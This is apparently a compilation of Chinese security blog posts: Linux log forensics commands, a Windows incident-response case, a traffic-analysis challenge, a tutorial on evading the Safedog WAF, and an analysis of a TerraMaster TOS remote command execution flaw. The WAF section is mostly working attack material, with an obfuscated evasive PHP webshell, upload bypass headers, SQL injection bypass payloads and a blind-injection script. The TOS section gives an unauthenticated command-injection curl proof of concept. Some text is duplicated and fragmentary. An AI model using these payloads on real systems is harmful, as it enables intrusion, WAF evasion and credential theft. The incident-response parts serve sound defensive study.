grep [[:cntrl:]] /var/log/*.log

/var/log/secure：安全日志
/var/log/cron：定时任务日志
/var/log/yum.log：软件安装卸载日志
/var/log/maillog：邮件相关
登录成功：more /var/log/secure* | grep “Accepted password”
登录失败：more /var/log/secure* | grep “Failed password”
本机登录情况：more /var/log/secure* | grep -E “sshd:session.session opened”
新增用户：more /var/log/secure | grep “new user”
传输文件：more /var/log/message* | grep “ZMODEM:.BPS”
定时任务日志：more /var/log/cron
定时执行脚本：more /var/log/cron* | grep -E “.py$|.sh$|.pl$”
下载软件情况：more /var/log/yum* | grep Installed
卸载软件情况：more /var/log/yum* | grep Erased
可疑工具：more /var/log/yum* | awk -F: ‘{print $NF}’ | awk -F ‘[-]’ ‘{print $1}’ | sort |
uniq | grep -E “(^nc|sqlmap|nmap|beef|nikto|john|ettercap|backdoor|msfcosole)”
错误登录：Lastb
所有用户最后一次登录：Lastlog
所有用户登录日志：last | grep pts | grep -vw :0ü /var/log/secure：安全日志
/var/log/cron：定时任务日志
/var/log/yum.log：软件安装卸载日志
/var/log/maillog：邮件相关
登录成功：more /var/log/secure* | grep “Accepted password”
登录失败：more /var/log/secure* | grep “Failed password”
本机登录情况：more /var/log/secure* | grep -E “sshd:session.session opened”
新增用户：more /var/log/secure | grep “new user”
传输文件：more /var/log/message* | grep “ZMODEM:.BPS”
定时任务日志：more /var/log/cron
定时执行脚本：more /var/log/cron* | grep -E “.py$|.sh$|.pl$”
下载软件情况：more /var/log/yum* | grep Installed
卸载软件情况：more /var/log/yum* | grep Erased
可疑工具：more /var/log/yum* | awk -F: ‘{print $NF}’ | awk -F ‘[-]’ ‘{print $1}’ | sort |
uniq | grep -E “(^nc|sqlmap|nmap|beef|nikto|john|ettercap|backdoor|msfcosole)”
错误登录：Lastb
所有用户最后一次登录：Lastlog
所有用户登录日志：last | grep pts | grep -vw :0

四、案例

1.windows 应急响应

1.1 检查

系统 ————> windows server2008

风扇噪声很大 —-> 中毒

无web服务 —–> 推测横向移动或恶意软件

1.2 抑制

现象为风扇噪音大，先排查cpu占用与进程

未发现其他疑似恶意程序，查看该程序

发现存在恶意连接

先kill掉该进程，结束进程后，发现还会恢复，可能存在计划任务

1.3 根除

因为存在自启动先检查计划任务、服务、开机启动项目相关启动信息

发现存在计划任务，继续查看你自动服务，并未发现恶意自动服务

查看开机启动项目

综上:目前启动项目只有计划任务，先将该任务暂停，在kill

等待几分钟中，发现不存在该进程自启动了

总结已处理情况:

• 挖坑木马位置C:\Users\Administrator\Downloads\wkbd\wkbd

• ‎发生时间2022‎年‎3‎月‎23‎日，‏‎9:39:13

• 获取的到的主机权限Administrator

继续排查所有windows可疑项目

检查windows 系统账户安全:

发现存在隐藏账户，删除指定注册表项目就可以了

检查系统杂项发现辅助功能劫持

辅助功能都拥有一个特点就是当用户未进行登录时也可以触发。所以攻击者很有可能通过篡改这些辅助功能的指向程序来达到权限维持的目的。

锁屏状态下连续按5下shift确实调用cmd

查看对应注册表项目

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

删除对应的项目

继续总结一下目前情况:

• 挖坑木马位置C:\Users\Administrator\Downloads\wkbd\wkbd

• ‎发生时间2022‎年‎3‎月‎23‎日，‏‎9:39:13

• 获取的到的主机权限Administrator

• 做了xiaoge$隐藏账户的添加

• 辅助功能粘滞键被劫持

继续排查系统相关信息及文件排查:

未发现威胁项目

文件检查:

进一步总结:

• 挖坑木马位置C:\Users\Administrator\Downloads\wkbd\wkbd

• ‎发生时间2022‎年‎3‎月‎23‎日，‏‎9:39:13

• 获取的到的主机权限Administrator

• 做了xiaoge$隐藏账户的添加

• 辅助功能粘滞键被劫持

• 恶意软件Services.exe

• 恶意软件WmiApSvr.exe

所有关键项目都检查完毕，现在要排查是怎么进去的，因为获取到Administrator权限，该服务器没有web服务，首先推测为暴力破解

导出另存为

使用分析工具查看:

evtxLogparse.exe -s fail 

2022-03-21 16:26:27 存在smb暴力破解

总结:2022-03-21 16开始进行远程登录，并创建隐藏账户，进行远程登录，上传恶意文件Services.exe、WmiApSvr.exe，2022-03-23 9时继续登录上传恶意程序，并创建定时任务和辅助功能粘滞键劫持

1.4 恢复

1. 更换Administrator密码，重启服务器
2. 注册表删除xiaoge$用户
3. 删除恶意程序Services.exe、WmiApSvr.exe
4. 删除定时任务system
5. 结束进程javs.exe并删除文件
6. 注册表删除辅助功能粘滞键
7. 观察后续情况

1.5 建议

1. 安装edr、杀软
2. 制定密码强度管理制定

2.流量分析

某公司内网网络被黑客渗透，简单了解，黑客首先攻击了一台web服务器，破解了后台的账户密码，随之利用破解的账号密码登陆了mail系统，然后获取了vpn的申请方式，然后登陆了vpn，在内网pwn掉了一台打印机，请根据提供的流量包回答下面有关问题

2.1某公司内网网络被黑客渗透，请分析流量，给出黑客使用的扫描器

扫描器一般伴随着大量请求，筛选GET请求，查看

http.request.method == GET

所有可以判断是awvs扫描器

2.2 某公司内网网络被黑客渗透，请分析流量，得到黑客扫描到的登陆后台是(相对路径即可)

有上面get请求包含admin路径，推测后台地址包含admin，请求类型为POST，因为要传输值

http.request.full_uri contains admin && http.request.method == POST

所以后台地址admin/login.php

2.3 某公司内网网络被黑客渗透，请分析流量，得到黑客使用了什么账号密码登陆了web后台(形式:username/password)

登录成功一般伴随着302重定向到管理员页面，可能还会有js的加载，所以我们查看出现不同于admin/login.php，就说明爆破成功，被重定向了

可以看到获取到两个账户密码

账户:人事 密码:hr123456

账户:admin 密码:admin!@#pass123

2.4 某公司内网网络被黑客渗透，请分析流量，得到黑客上传的webshell文件名是，内容是什么,提交webshell内容的base编码

images下php文件，流量特征蚁剑，所以webshell名称a.php

过滤webshell，根据密码1234

tcp contains "1234" && tcp contains ".php"

所以提交的内容

<?php @eval($_POST[1234]);?>

2.5 某公司内网网络被黑客渗透，请分析流量，黑客在robots.txt中找到的flag是什么

直接搜索就行http contains "robots.txt"

flag:87b7cb79481f317bde90c116cf36084b

2.6 某公司内网网络被黑客渗透，请分析流量，黑客找到的数据库密码是多少

查看黑客执行的命令http contains "/images/article/a.php" || tcp contains "/images/article/a.php

读取了product_category.php，包含的配置文件init.php 黑客下一步就要读取这个文件

黑客读取了还是没有数据库账户密码

继续读取:

所以获取的账户密码:

// database username$dbuser   = "web";// database password$dbpass   = "e667jUPvJjXHvEUv";

2.7 某公司内网网络被黑客渗透，请分析流量，黑客在数据库中找到的hash_code是什么

直接搜索:tcp contains "hash_code" || http contains "hash_code"

所以得到的hash_code:d1c029893df40cb0f47bcf8f1c3c17ac

2.8 某公司内网网络被黑客渗透，请分析流量，黑客破解了账号ijnu@test.com得到的密码是什么

直接搜索:tcp contains "ijnu@test.com" || http contains "ijnu@test.com"

所以得到的密码:edc123!@#

2.9 某公司内网网络被黑客渗透，请分析流量，被黑客攻击的web服务器，网卡配置是是什么，提交网卡内网ip

继续看蚁剑流量http contains "/images/article/a.php" || tcp contains "/images/article/a.php

网卡信息:

2.10 某公司内网网络被黑客渗透，请分析流量，黑客使用了什么账号登陆了mail系统（形式: username/password）

直接搜索登录url:http contains "/webmail/index.php?module=operate&action=login&web=1"

直接看最后一个就行，因为最后一个一般都是爆破成功的

账户:test.com 密码:+ZgE14UGcFcyRGLI0/ZXPQ==

密码前端加密后，看下前端的混淆

所以账户:test.com 密码:admin!@#PASS123

2.11 某公司内网网络被黑客渗透，请分析流量，黑客获得的vpn的ip是多少

vpn的ip是:10.3.4.3

此文章为博客丢失找回内容可能存在部分内容缺失情况

一、找到命令执行

构造命令执行:

二、使用哥斯拉进行连接

注入内存马

访问xx已存在

三、日志分析

内存

工具检测:

memshell:

哥斯拉内存马

cop.jar

VisualVM

四、处置

index2.jsp改名index.jsp

此文章为博客丢失找回内容可能存在部分内容缺失情况

一、绕过安全狗文件上传

先上传一个正常文件，观察一下基本情况

收集到基本信息

1.为windows系统php5.4.45环境 apache2.4.23环境 2.上传不是白名单 3.有回显路径 4.安全设备 安全狗

思考绕过安全狗要走的路程，一步一步的完成

1、要能上传php pHp 等 windows 能解析的后缀

2、内容检测，能够上传webshell，且要免杀，免杀包括文件免杀和连接流量免杀

1、完成恶意后缀的上传

1.1 闭合绕过

对filename的闭合进行修改，让安全狗无法定位到上传的文件名

去掉双引号绕过

Content-Disposition: form-data; name="upfile"; filename=1.phpContent-Type: image/jpeg

成功绕过安全狗

单引号混淆绕过

通过单引号干扰安全狗闭合的识别检测

Content-Disposition: form-data; name="upfile"; filename="1.jpg'\2.php"Content-Type: image/jpeg

1.2 垃圾字符绕过

通过构造垃圾字符filename=，干扰安全狗对filename的检测，后台只会处理最后一个filename=

Content-Disposition: form-data; name="upfile"; filename="1.jpg";filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=3.phpContent-Type: image/jpeg

1.3 高并发绕过

在高并发情况下，安全狗可能处理不过来，会直接放过，毕竟防护设备不能影响正常业务，业务的并发>安全狗的并发

上传成功

2.免杀 文件和流量层

已知道php版本 5.4.45，可以拼接函数名调用函数，不用直面eval容易很多，流量层多次base64就行，因为防护设备不可能多次解码，消耗时间，其次在每次编码前加随机长度字符串，base64也解不开。当然也可以用异或对称加密非对称加密等等。

之前学习过php webshell免杀，直接用试试吧

之前学习写的文章地址:

利用php7-4新特性webshell

蚁剑原理与魔改

蚁剑编码器

/** * php::base64编码器 * Create at: 2020/11/21 15:21:10 */'use strict';/** @param  {String} pwd   连接密码* @param  {Array}  data  编码器处理前的 payload 数组* @return {Array}  data  编码器处理后的 payload 数组*/module.exports = (pwd, data, ext={}) => {  // ##########    请在下方编写你自己的代码   ###################  // 以下代码为 PHP Base64 样例  // 生成一个随机变量名  let randomID = `_0x${Math.random().toString(16).substr(2)}`;  // 原有的 payload 在 data['_']中  // 取出来之后，转为 base64 编码并放入 randomID key 下  data['_'] = Buffer.from(data['_']).toString('base64');  // shell 在接收到 payload 后，先处理 pwd 参数下的内容，  //data[pwd] = `${data['_']}"));`;  data[pwd] = Buffer.from(data['_']).toString('base64');  // ##########    请在上方编写你自己的代码   ###################  // 删除 _ 原有的payload  delete data['_'];  // 返回编码器处理后的 payload 数组  return data;}

免杀的webshell:

<?php header('HTTP/1.1 404');class COMI {     public $c='';    function __destruct() {        return eval(substr($this->c, 0));    }}$comi = new COMI();$password = &$password1;$password1 = $_REQUEST['password'];$post = &$password;$post=base64_decode(base64_decode($post));$lnng1 = &$lnng;$lnng = $post;$lnng2 = $lnng1;@$comi->c = substr($lnng2, 0);?>

上传：

蚁剑连接:

执行命令成功获取到权限:

二、绕过安全狗注入

1、判断闭合方式

使用fuzz判断后端的闭合方式，方便后续构造sql语句闭合

#'-- +'-- #"-- +"#')-- +')#")-- +")#")-- +

根据fuzz结果，判断后端未进行闭合

2、判断是否存在sql注入

根据上面判断的闭合方式，构造闭合，然后尝试构造能够改变sql执行结果的语句，这里使用and进行拼接来改变sql语句结构，比如and 1=1，当然也可以使用or & ||等来替换and，效果不同而已。

//fuzz字典and floor(rand()*2)#and floor(rand()*2)--+and floor(rand()*2)#and floor(rand()*2)--+and 1=1-- +and 1=1#and 1=2-- +and 1=2#and 2>1-- +and 2>1#and 1<2-- +and 1<2#and 1#and 1-- +and null#and null-- +and null is null#and null is null-- +and null is not null#and null is not null-- +and 0-- +and 0#and -~0-- +and -~0#and hex(0)-- +and hex(0)#and hex(1)-- +and hex(1)#and true#and true-- +and !true#and !true-- +and mod(4,3)#and mod(4,3)-- +and mod(4,2)#and mod(4,2)--+and floor(rand()*2)#and floor(rand()*2)--+and floor(rand()*2)#and floor(rand()*2)--+and '1'&1-- +and '1'&1#and '1'^1-- +and '1'^1#and -1--1--+and -1--1#and -1-1--+and -1-1#

fuzz结果:

根据返回结果，可以判断这里存在sql注入，下面解释两个payload判断理由。

2.1 and null is null#和and null is not null#判断sql注入

本地测试环境

执行and null is null 和 and null is not null 发现返回结果不同

fuzz结果与我们的猜想结果一致，and null is null 为true 返回正常查询结果，and null is not null 为 false 返回查询不到结果，说明我们改变了sql的语法结构，此处存在sql注入。

2.2 and floor(rand()*2)# 判断sql注入

查看fuzz结果发现同一个payload(and floor(rand()*2)# 返回的执行结果却不相同,也构造随机不同的时间，查看不同的响应时间区别，这里构造随机真假。

说明我们的rand()随机数影响了sql的执行结果，可以改变sql语句的结构，本地测试rand()：

利用rand()* 2 随机返回0和1 导致 and 1和 and 0两种不同的执行结果，与fuzz结果一致出现不同结果，由此判断此处存在sql注入。

3.联合注入过狗

3.1 判断字段数

已判断存在sql注入，且有回显，尝试使用联合查询回显我们想要的查询结果

构造联合查询需要知道前一个select的字段数，有两个方法:

1. union select 1,2,3 一直向后加字段数来判断
2. order by 加字段偏移数来判断字段数

由于union select后续同样需要bypass waf，学习为目的，这里先尝试order by过安全狗来判断字段数。

由于order by 后面的偏移数并不影响waf的检查，所有重点fuzz order by，可以在上图1，2位置插入字符来进行fuzz，先暂时不对order 或 by进行变换尝试。

// fuzz字典%20%0A%0B%0C%0D%20+!-@'~{}\N;%00`/*/**//*!/*!*/

查看fuzz结果发现不需要编写order或by，已经可以绕过安全狗

payload:12 order//*/by#

所以继续fuzz by 后面的数值，就能判断字段数

payload:12 order//*/by 10#

3.2 union select 过狗

已经判断字段为10，进行联合查询发现被waf拦截。

select 后面的数字一般不会被waf拦截，主要是union select

暂时不改变union和select本身的变换，尝试fuzz，上图3的三个空白处。

// fuzz字典%20%0A%0B%0C%0D%20/*/**//*!/*!*/

fuzz结果发现全都被安全狗拦截

所以这里需要变换一些union或者select，在进行fuzz,这里使用常用的内联注释来变换一下select为/*!/*!11440select*/，本地测试确实并不会影响sql的执行

原理:mysql中 /! …./ 不是注释，mysql为了保持兼容，它把一些特有的仅在mysql上用的语句放在/!…./中，这样这些语句如果在其他数据库中是不会被执行，但在mysql中它会执行。

变换select后waf会拦截，继续fuzz上面三个位置

fuzz出安全狗没有拦截的内容，payload：-12 union//**//!/!11440select/1,2,3,4,5,6,7,8,9,10#

3.3 查询数据库名称

直接将10换成database()发现会被安全狗拦截，由于前面都是bypass的，说明是识别database()的原因

本地尝试如何变形database()

发现上图1，2标注位置加空格等并不影响sql语句的执行，fuzz这两个位置

// fuzz 字典%20%0A%0B%0C%0D%20/*/**//*!/*!*/

3.4 获取表名

payload:http://192.168.2.133/sqltest/showproducts.php?id=-12%20union/*/**//*!/*!11440select*/1,2,3,4,5,6,7,8,9,group_concat(table_name) from information_schema.tables where table_schema='xycms'#

发现安全狗并不拦截

如果拦截我们就需要考虑继续fuzz空白处，空白处不行，就考虑变换information_schema.tables

本地测试发现在1,2位置加空格并不影响sql 执行，所以如果waf拦截我们就可以fuzz所有空白处。同时也可以内联，本地测试如下图，并不影响sql 的运行。

3.5 获取表的字段值

这里安全狗并不拦截，所以我们直接获取就行了

payload:

-12 union%2f%2a%2f%2a%2a%2f/*!11441/*!11440select*/ 1,2,3,4,5,6,7,8,9,group_concat(column_name) from information_schema.columns where table_name=’manage_user’#

3.6 获取密码值

安全狗还是不拦截，直接获取就行,成功获取到admin密码

payload:-12 union%2f%2a%2f%2a%2a%2f/*!11441/*!11440select*/ 1,2,3,4,5,6,7,8,9,group_concat(m_name,0x7e,m_pwd) from manage_user#

解密:

4.布尔注入过狗

思考我们想要执行的语句and substr(1,1,1)=1，本地测试我们在先不改变and、substr、=情况下，可插入其他符号的位置。

所以我们要fuzz上面四个位置，先看下能不能过狗

fuzz一半就发现有很多可以正常响应，且waf不来拦截的payload，且substr正常执行

继续构造后面我们想要执行的语句:and substr(hex(1),1,1)#当然也可以使用ascii等等把后续查询结果转换的操作都可以，这里使用hex()

发现waf不拦截

那我们继续构造我们想执行的东西

当然也可跳过计算长度，直接截取，看返回，都可以，所有我们想执行的下一步sql

and substr(length(hex(1)),1,1) =1#

4.1 获取数据库名称

waf还是不拦截哈哈哈，那我们继续构造，查询数据库长度

and/*/**/substr(length(hex(database())),1,1) =1#

开始拦截，说明是database()原因，那我们把上面联合查询的database的绕过弄过来先试试

发现还是被拦截了，那我们还是先fuzz database()的空白处，不行在变换database()

本地测试发现可以fuzz上图四个位置

成功fuzz到waf不拦截的payload:

http://192.168.2.223/sqltest/showproducts.php?id=12 and/*/**/substr(length(hex(/*/**/database (/*/**/) )),1,9999) =10#

说明hex后的数据库名长度为10，那我们继续fuzz获取数据库名，我们想执行的下一个查询

and/*/**/substr(hex(/*/**/database(/*/**/)),1,9999) = XXXX#，waf不拦截，那我们直接获取就行了,写个脚本跑就行了。

4.2 获取表名称

还是先获取表名的长度，select直接用联合查询已经绕过的先尝试一下，发现waf不拦截，那我们直接跑就完了

payload=http://192.168.2.223/sqltest/showproducts.php?id=12%20and/*/**/substr(length(hex((/*!/*!11440select*/%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27xycms%27))),1,9999)=194#

继续查询表名，发现waf还是不拦截，payload:

12 and/*/**/substr(hex((/*!/*!11440select*/%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27xycms%27)),1,4)='636F'#

写个脚本跑一下

成功获取表名

4.3 获取字段值

和上面一样借助联合查询fuzz出来的payload，拼接一下布尔的payload

http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(length(hex((/*!11441/*!11440select*/ group_concat(column_name) from information_schema.columns where table_name='manage_user'))),1,9999)=43#

发现waf也还是不拦截

那我们继续fuzz后面的数字，获取到长度为44

payload:http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(hex((/*!11441/*!11440select*/ group_concat(column_name) from information_schema.columns where table_name='manage_user')),1,1)=5#

写个脚本跑一下:

def conuntRequestHash(url):    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0"    }    proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}    text = requests.get(url=url, proxies=proxies, verify=False).text    return hash(text)def getfield(url,lengthTable):    hash = conuntRequestHash(url)    database = ""    for num in range(1, lengthTable + 1):        hex = ['0','1', '2', '3', '4', '5', '6', '7', '8', '9', '10', 'A', 'B', 'C', 'D', 'E', 'F', 'lnng']        for hex1 in hex:            if hex1 == 'lnng':                print(str(num) + "出错了")            payload1 = database + hex1            parameter = "%20and/*/**/substr(hex((/*!/*!11440select*/%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%3d'manage_user'))%2c1%2c"+str(num)+")%3d'"+payload1+"'%23"            payload = url + parameter            request_hash = conuntRequestHash(payload)            if request_hash == hash:                database = database + hex1                print(database)                break    return database

成功获取字段值:id,m_name,m_pwd,c_date

4.4 获取密码

继续先获取长度，payload:http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(length(hex((/*!11441/*!11440select*/ group_concat(m_name,0x7e,m_pwd) from manage_user))),1,99)=7#

同上面脚本，跑一下密码:

http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(hex((/*!11441/*!11440select*/ group_concat(m_name,0x7e,m_pwd) from manage_user)),1,1)='7'#

成功得到账号密码:admin~21232f297a57a5a743894a0e4a801fc3

5.延时注入过狗

首先思考我们想执行的最简单的语句，那肯定是12 and if(1,1,1)

本地测试我们能变换的位置，发现图中的标注的三个位置我们都能添加别的字符。

fuzz上图中的三个位置

// fuzz字典%20%0A%0B%0C%0D%20+!-@'~{}\N;%00`/*/**//*!/*!*/

fuzz发现有些payload甚至能正常返回页面，且waf不会拦截，所以暂时不用变换其他的

本地尝试其中的任意一个payload，发现并不影响我们后续的sleep(sql的执行顺序原因)

waf并不会拦截，当然还有很多可以使用fuzz出来的payload:

4.1 sleep 过狗

and if(1,1,1)# 已经fuzz出来能过狗的，那么下一步我们就要fuzz sleep(),让其先能延时，要看下sleep(),哪些地方可以放东西。

发现三个位置都可以放字符，所以用上面的方式fuzz这三个位置，暂时先不变换

发现加三个空格都不拦截了，这正则写的哈哈哈

所以下面我们只需要构造下面位置就行，和上面的一样

把上面布尔过狗的拿过来用就行

payload:

12%20and%20~if((substr(length(hex(/*/**/database%20(/*/**/)%20)),1,9999)%20=10),sleep%20(%2020%20),1)#

总上延时注入成功。

4.2 获取密码

上面布尔的payload拼接都是不拦截的不在赘述，这里直接给出延时注入最后获取密码的payload：

http://192.168.2.63/sqltest/showproducts.php?id=12 and ~if((substr(length(hex((/*!11441/*!11440select*/ group_concat(m_name,0x7e,m_pwd) from manage_user))),1,99)=76),sleep ( 20 ),1)#

2022年3月7日，互联网上公开了 TerraMaster TOS 的未授权远程命令执行漏洞，漏洞适用于所有 4.2.x 版本 < 4.2.30，以及所有 4.1.x 版本。

2.漏洞复现

2.1 源码的获取

官网目前已经无老版本的固件下载连接，需要到论坛获取下载连接

漏洞版本下载连接:https://download2.terra-master.com/TOS_S2.0_Install_JM33_4.2.15_2107221409_2107221412.ins

需要解压，binwalk解压后

打开源码发现，文件是加密的

去看看有没有别人破解的

http://xibai.xyz/2022/02/24/%E9%93%81%E5%A8%81%E9%A9%ACF2-420-4-1-27%E5%9B%BA%E4%BB%B6%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/

https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63

看了下大佬文章发现，是基于screw_aes项目改的

https://github.com/del-xiong/screw-plus 下载查看一下是在原有的基础上加了异或，但是不知道异或的数是多少，因为proc文件为空，尝试爆破这个异或的数值进行解密

解密脚本 记得改screw路径 和 解密目标文件

import osdef getAllSub(path, dirlist=[], filelist=[]):    flist = os.listdir(path)    for filename in flist:        subpath = os.path.join(path, filename)        if os.path.isdir(subpath):            dirlist.append(subpath)  # 如果是文件夹，添加到文件夹列表中            getAllSub(subpath, dirlist, filelist)  # 向子文件内递归        if os.path.isfile(subpath):            filelist.append(subpath)  # 如果是文件，添加到文件列表中    return dirlist, filelistdef getSufFilePath(fileList, suffix):    # print(len(fileList))    for ff in fileList[:]:  # 这种写法可以避免循环判断删除时跳过一些项        if not ff.endswith(suffix):            fileList.remove(ff)def ecryption(filename):    head, tail = os.path.split(filename)    filename2 = tail.split(".")[0]    path = head + "/" + filename2 + "_decryption" + '.php'    i = 0    while(i < 256):        with open(filename, 'rb') as f:            debug_cipher = f.read()            with open(path, 'wb') as o:                o.write(debug_cipher[:32])                for j in debug_cipher[32:]:                    o.write((i ^ j).to_bytes(1, 'big'))            f.close()            o.close()            os.system('/root/桌面/screw-plus-master/tools/screw ' + path + ' -d')            with open(path, 'rb') as p:                if p.read(5) == b'<?php':                    print(i)                    p.close()                    break                else:                    i = i + 1if __name__ == "__main__":    path = r'/root/桌面/TOS4.2.31/TOS4.2.31/FILES/usr/www/'    Dirlist, Filelist = getAllSub(path)    getSufFilePath(Filelist, '.php')    for FilePhp in Filelist:        # print(FilePhp)        ecryption(FilePhp)

解密结果是目标文件后加_decryption的php文件

2.2 漏洞分析

查看poc

curl -vk 'http://XXXX/module/api.php?mobile/createRaid' -H 'User-Agent: TNAS' -H 'AUTHORIZATION: $1$2kc1Zqe8$gi6hkBlDDDFHpG3RkZtws1' -d 'raidtype=;id>/tmp/a.txt;&diskstring=XXXX' -H 'TIMESTAMP: 1642335373' -H 'SIGNATURE: 473a6d90ede9392eebd8a7995a0471fe' | jq -r

出现问题的是api.php

查看该文件

<?php/** * Created by PhpStorm. * User: Jaylin * Date: 2017/2/28 * Time: 14:19 */include_once "../include/app.php";include_once "../include/function/mobile.php";#关闭所有函数报错...@error_reporting(0);$default_controller = "mobile";$default_action = "index";$in = router();$URI = $in['URLremote'];if (!isset($URI[0]) || $URI[0] == '') $URI[0] = $default_controller;if (!isset($URI[1]) || $URI[1] == '') $URI[1] = $default_action;define('Module', $URI[0]);define('Action', $URI[1]);$class = Module;$function = Action;#定义不需要验证登录的方法...$GLOBALS['NO_LOGIN_CHECK'] = array("webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected");if (!in_array($function, $GLOBALS['NO_LOGIN_CHECK'])) {    define('REQUEST_MODE', 1);    //加载原始session    if (isset($in['PHPSESSID']) && !empty($in['PHPSESSID'])) {        session_id($in['PHPSESSID']);        $GLOBALS['sessionid'] = $in['PHPSESSID'];    }    @session_start();    @session_write_close();    //初始化阵列    $raid = new raid();    $base_md = $raid->_main_disk();    if (!empty($base_md)) {        define('DATA_BASE', "$base_md/");    } else {        define('DATA_BASE', null);    }    define('USER_PATH', DATA_BASE . "User/"); //用户目录    define('PUBLIC_PATH', DATA_BASE . "public/"); //公共目录    define('DATA_THUMB', DATA_BASE . '@system/thumb/');//缩略图生成存放} else {    define('REQUEST_MODE', 0);}$instance = new $class();if (!in_array($function, $class::$notHeader)) {    #防止请求重放验证...    if (tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300) {        $instance->output("Illegal request, timeout!", 0);    }}$instance->$function();

function stripslashes_deep($value){     $value = is_array($value) ? array_map('stripslashes_deep', $value) : (isset($value) ? stripslashes($value) : null);     return $value;}

继续看api.php

首先看NO_LOGIN_CHECK 主要在判断是否需要登录判断

先看一下不需要登录的指定方法发现都在www\include\class\mobile_decryption.php这个文件的类中

mobile_decryption.php

先看下他的构造方法

//不检查是否登录..static $notCheck = [    "webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected",'createid',    'user_create','user_bond','user_release','login', 'logout', 'checkCode', "wapNasIPS"];//不验证头信息是否匹配...static $notHeader = ["fileDownload", "videoPlay", "imagesThumb", "imagesView", "fileUpload", "tempClear", "wapNasIPS", "webNasIPS", "isConnected"];private static $U = null;private static $filter = array(".", "..", ".svn", "lost+found", "aquota.group", "aquota.user");function __construct(){    parent::__construct();    $this->start = $this->mtime();    if (isset($_SERVER['HTTP_USER_DEVICE']) && $_SERVER['HTTP_USER_DEVICE'] == "TNAS") $_SERVER['HTTP_USER_AGENT'] = "TNAS";    //排除非法请求...    if (!in_array(Action, self::$notHeader)) {        if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) {            $this->output("Illegal request, please use genuine software!", false);        }    }    if (REQUEST_MODE) {        if (DATA_BASE == null) {            $this->output("main raid not exists", false);        }        //避免session不可写导致循环跳转        if (!isset($_SESSION)) {            $this->output("session write error!", false);        } else {            $this->user = &$_SESSION['kod_user'];        }        if (isset($this->in['PHPSESSID'])) {            $this->sessionid = $this->in['PHPSESSID'];        }        #管理员接口        if (in_array(Action, $this->noPermission)) {            if ($this->user['role'] != "root") {                $this->output("User [{$this->user['name']}] does not have permission!", false);            }        }    }    if (!in_array(Action, self::$notCheck)) {        if (!$this->loginCheck()) {            $this->output("login is timeout", 0);        }    }    //初始化    if (self::$U == null) self::$U = new person();    if (self::$U->deamon()) {        $this->output("user hasn't permission!", true, 0);    }}

所以这个$this->REQUESTCODE暂时没法去绕过

继续往下看

目前还只能调用这两个数组中的指定方法，才能绕过指定的检测

$GLOBALS['NO_LOGIN_CHECK'] = array("webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected");

static $notHeader = ["fileDownload", "videoPlay", "imagesThumb", "imagesView", "fileUpload", "tempClear", "wapNasIPS", "webNasIPS", "isConnected"];

notcheck数组

static $notCheck = [    "webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected",'createid',    'user_create','user_bond','user_release','login', 'logout', 'checkCode', "wapNasIPS"];

所以到此简单梳理一下

不在这个两个数组内需登录相关的验证

$GLOBALS[‘NO_LOGIN_CHECK’] = array(“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”);

static $notCheck = [
“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”,’createid’,
‘user_create’,’user_bond’,’user_release’,’login’, ‘logout’, ‘checkCode’, “wapNasIPS”
];

